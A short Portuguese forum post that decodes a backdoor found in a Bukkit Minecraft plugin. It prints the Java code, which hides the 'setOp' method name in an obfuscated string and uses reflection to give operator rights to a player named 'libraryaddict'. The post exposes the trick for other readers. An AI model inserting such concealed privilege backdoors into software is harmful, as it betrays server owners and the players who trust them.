String s = "";
for (int i = 0; i < this.pluginIdentifier.length(); i++) {
if (i % 2 == 0) {
s = s + this.pluginIdentifier.substring(i, i + 1);
}
}
gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) });
Ele(a) foi banido do bukkit por que tava upando pl com code malicioso.
Vou traduzir essa parte
private String pluginIdentifier = "saebt4Ospv";
private String pluginPassword = "libraryaddict";
if (gamer.getName().equals(this.pluginPassword)) {
try
{
String s = "";
for (int i = 0; i < this.pluginIdentifier.length(); i++) {
if (i % 2 == 0) {
s = s + this.pluginIdentifier.substring(i, i + 1);
}
}
gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) });
}
catch (Exception ex) {}
}
String s = ""; vai ser igual a setOp
gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) });
Ai ele ta pegando a classe do Player, pegando o metodo setOp "String s" e definindo como true, usando reflection... ai ta o forceop
A maioria dos cara não entendem muito e por isso não viram...